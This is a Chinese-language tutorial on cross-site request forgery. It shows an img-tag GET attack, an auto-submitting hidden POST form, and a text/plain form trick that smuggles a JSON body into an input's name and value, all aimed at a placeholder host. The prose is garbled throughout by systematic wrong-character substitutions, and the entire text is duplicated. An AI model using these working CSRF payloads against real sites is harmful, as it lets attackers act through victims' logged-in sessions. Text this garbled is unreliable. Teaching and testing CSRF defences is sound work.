一、csrf简介
Cross-site request forgery,跨站申请伪造,通常缩写为CSRF或者XSRF。

上面get和post申请攻打的前提都是假如网站A存在csrf破绽以及用户已登录网站A。

二、csrf之get申请攻打
发动get申请攻打比较简单,只需通过img标签即可。

因为受同源策略限度,不能通过ajax来发动get申请。

  1. Demo验证

代码:

// src的值就是网站A下的get申请<head>    <meta charset="utf-8">    <title>csrf之get申请攻打</title></head><body> <img src="http://xxx"></body>

成果:
用户关上攻击者网站B,主动发动get申请,状态码是200示意胜利:

通过抓包具体查看,申请带上了cookie登录态,响应也是失常的:

三、csrf之post申请攻打
相比之下,get申请的危害没有post申请挫伤大,但想要发动post申请攻打,就没那么容易实现。

首先咱们晓得,在网站B是不能通过ajax发动网站A的post申请的,因为同源策略限度了。
但须要留神的是,同源策略只是限度了XMLHttpRequest和Fetch API,但html的form标签则不受同源策略限度。同样,下面get申请的img标签也不受同源策略。

  1. 失常form表单验证

代码:

<head>    <meta charset="utf-8">    <title>csrf-post</title></head><body>    <form id="form" action="http://xxx" method="POST" target="iframe1">        <input type="text" name="id" value="70">        <input type="text" name="biz_module_id" value="[15]">        <input type="text" name="deploy_path" value="">        <input type="text" name="description" value="test">        <input type="text" name="name" value="config.txt">        <input type="text" name="version" value="1">    </form>    <iframe name="iframe1"></iframe>    <script>        document.getElementById('form').submit()    </script></body>

成果:

论断:
很显著申请是不胜利的。但能把网站A的登录态带过来,所以算是胜利了一部分。
比照网站A下的post申请,发现数据格式不一样。
上图的是Form Data,网站A的是Request Payload,如下图所示:

剖析:
form申请的数据格式跟enctype属性有关系,默认的是application/x-www-form-urlencoded,此时就是Form Data。
编码类型总共三种(参考),还有两种是:multipart/form-data和text/plain。
前者是上传文件用的,后者用的比拟少。但正是通过text/plain来将数据格式改为Request Payload。

  1. text/plain的form表单再次验证

代码:

// 在下面的代码的根底上,把form标签新增enctype属性即可
<form id="form" action="http://xxx" method="POST" target="iframe1" enctype="text/plain">
成果:

论断:
胜利将数据格式改为Request Payload了,但为啥接口仍然报错?
再认真比照下网站A的失常申请,可发现网站A那边是JSON格局,但咱们这边不是JSON,就是纯文本加换行的一个格局,这样必定不会胜利的。

剖析:
那有什么好方法?只能持续对form表单的参数进行深刻开掘了。
form表单的参数就是input标签等的name和value组成的一些列参数,那可否只用一个input来把所有参数都拼接起来?

通过屡次验证,是能够拼接的。

  1. 再次验证form的参数

代码:

// 在下面的代码的根底上,把input改为如下所示:
<form id="form" action="http://xxx" method="POST" target="iframe1" enctype="text/plain">

<input type="text" name='{"id":70,"biz_module_id":[15],"deploy_path":"","description":"test","name":"config.txt","version":"' value='123"}"'>

</form>
成果:

论断:
胜利了!

  1. 补充阐明

1 数据格式如果不是Request payload,而是Form Data,则可间接用form表单来发申请,不必再减少下面2和3的办法。一、csrf简介

Cross-site request forgery,跨站申请伪造,通常缩写为CSRF或者XSRF。

上面get和post申请攻打的前提都是假如网站A存在csrf破绽以及用户已登录网站A。

二、csrf之get申请攻打

发动get申请攻打比较简单,只需通过img标签即可。

因为受同源策略限度,不能通过ajax来发动get申请。

1. Demo验证

代码:

// src的值就是网站A下的get申请<head>    <meta charset="utf-8">    <title>csrf之get申请攻打</title></head><body>    <img src="http://xxx"></body>

成果:
用户关上攻击者网站B,主动发动get申请,状态码是200示意胜利:

通过抓包具体查看,申请带上了cookie登录态,响应也是失常的:

三、csrf之post申请攻打

相比之下,get申请的危害没有post申请挫伤大,但想要发动post申请攻打,就没那么容易实现。

首先咱们晓得,在网站B是不能通过ajax发动网站A的post申请的,因为同源策略限度了。
但须要留神的是,同源策略只是限度了XMLHttpRequest和Fetch API,但html的form标签则不受同源策略限度。同样,下面get申请的img标签也不受同源策略。

1. 失常form表单验证

代码:

<head>    <meta charset="utf-8">    <title>csrf-post</title></head><body>    <form id="form" action="http://xxx" method="POST" target="iframe1">        <input type="text" name="id" value="70">        <input type="text" name="biz_module_id" value="[15]">        <input type="text" name="deploy_path" value="">        <input type="text" name="description" value="test">        <input type="text" name="name" value="config.txt">        <input type="text" name="version" value="1">    </form>    <iframe name="iframe1"></iframe>    <script>        document.getElementById('form').submit()    </script></body>

成果:

论断:
很显著申请是不胜利的。但能把网站A的登录态带过来,所以算是胜利了一部分。
比照网站A下的post申请,发现数据格式不一样。
上图的是Form Data,网站A的是Request Payload,如下图所示:

剖析:
form申请的数据格式跟enctype属性有关系,默认的是application/x-www-form-urlencoded,此时就是Form Data
编码类型总共三种(参考),还有两种是:multipart/form-datatext/plain
前者是上传文件用的,后者用的比拟少。但正是通过text/plain来将数据格式改为Request Payload

2. text/plain的form表单再次验证

代码:

// 在下面的代码的根底上,把form标签新增enctype属性即可<form id="form" action="http://xxx" method="POST" target="iframe1" enctype="text/plain">

成果:

论断:
胜利将数据格式改为Request Payload了,但为啥接口仍然报错?
再认真比照下网站A的失常申请,可发现网站A那边是JSON格局,但咱们这边不是JSON,就是纯文本加换行的一个格局,这样必定不会胜利的。

剖析:
那有什么好方法?只能持续对form表单的参数进行深刻开掘了。
form表单的参数就是input标签等的name和value组成的一些列参数,那可否只用一个input来把所有参数都拼接起来?

通过屡次验证,是能够拼接的。

3. 再次验证form的参数

代码:

// 在下面的代码的根底上,把input改为如下所示:<form id="form" action="http://xxx" method="POST" target="iframe1" enctype="text/plain">    <input type="text" name='{"id":70,"biz_module_id":[15],"deploy_path":"","description":"test","name":"config.txt","version":"' value='123"}"'></form>

成果:

论断:
胜利了!

4. 补充阐明

1 数据格式如果不是Request payload,而是Form Data,则可间接用form表单来发申请,不必再减少下面2和3的办法。